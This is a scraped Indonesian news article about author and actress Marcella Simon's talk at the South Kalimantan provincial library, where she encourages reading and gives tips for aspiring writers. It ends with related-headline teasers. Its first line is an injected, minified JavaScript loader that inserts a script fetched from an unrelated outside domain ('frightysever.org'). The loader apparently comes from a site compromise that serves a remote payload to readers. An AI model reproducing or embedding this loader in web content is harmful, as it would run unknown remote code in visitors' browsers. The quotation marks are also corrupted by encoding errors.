(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sesuai dengan harapan, aktris dan penulis kenamaan Marcella Simon akhirnya menyambangi Perpustakaan Palnam –Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalsel- di acara Meet & Greet Marcella Simon, Sabtu (11/1/2020) siang.
Di hadapan ratusan peserta yang sebagian besar merupakan mahasiswa, Marcella berbagi pengalamannya dalam hal menulis, sembari berbagi tips untuk bisa menjadi penulis. Tentunya, menurut Marcella, sebelum menulis, seseorang harus ‘PDKT’ dengan penerbit buku.
“Kita harus tahu penerbit maunya apa dan seperti apa. Kita harus bisa negosiasi dengan editor, dan pangsa pasar seperti apa,†kata Marcella.
Tak hanya itu, seseorang yang ingin jadi penulis tak hanya memiliki ide yang baik, tapi juga dapat diterima oleh masyarakat. Tentunya, ini menjadi benefit tersendiri bagi penulis yang bukunya dikomersialkan di masyarakat.
Lebih jauh Marcella mengapresiasi Dispersip Provinsi Kalsel yang telah mendekorasi perpustakaan menjadi tempat yang lebih menarik dan instagrammable. Sehingga, dapat menjadi daya tarik bagi masyarakat dengan harapan dapat mengunjungi perpustakaan untuk tak sekadar membaca buku saja.
“Posting foto di rak buku atau membaca buku di tempat yang bagus dan posting foto, dan itu akan menjadi semacam (daya tarik). Dengan posting, orang akan tertarik dan datang ke perpustakaan untuk baca buku dan foto-foto,†paparnya.
Menurut Marcella, membaca buku bisa jadi merupakan sebuah gaya hidup yang keren. Artinya, setiap orang yang membawa dan membaca buku di tempat-tempat tetentu seperti taman ataupun transportasi umum, boleh berbangga seperti halnya orang yang membawa tas mahal atau berpakaian bagus.
“Kalau kita lihat di luar negeri, orang di pantai bersantai sambil membaca buku. Orang-orang bule banyak begitu, mereka bisa nyaman dengan baca buku,†jelasnya.
Marcella pun tak menampik, di Indonesia orang yang kerap kali membawa dan membaca buku dianggap sebagai orang yang kutu buku. “Sebenarnya stigma seperti ini yang harus kita hilangkan,†harap Marcella.
Apalagi, kini ada pula buku dalam format digital. Sehingga, seseorang tak perlu lagi repot membolak-balik halaman buku seperti halnya buku pada umumnya.
“Banyak halyang bisa disediakan oleh digital itu sendiri. Seiring perkembangan teknologi, kita juga tidak bisa terlalu idealis bahwa buku adalah buku, jadi tidak apa-apa membaca buku digital karena sumber ilmu pengetahuan juga,†bebernya.
Marcella pun berpesan kepada seluruh peserta, bahwa membaca buku itu keren dan merupakan sebuah gaya hidup positif yang harus diterapkan.
“Baca buku itu keren! Baca buku itu lifestyle yang mesti kita tingkatkan,†tandas Marcella. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
This website uses cookies.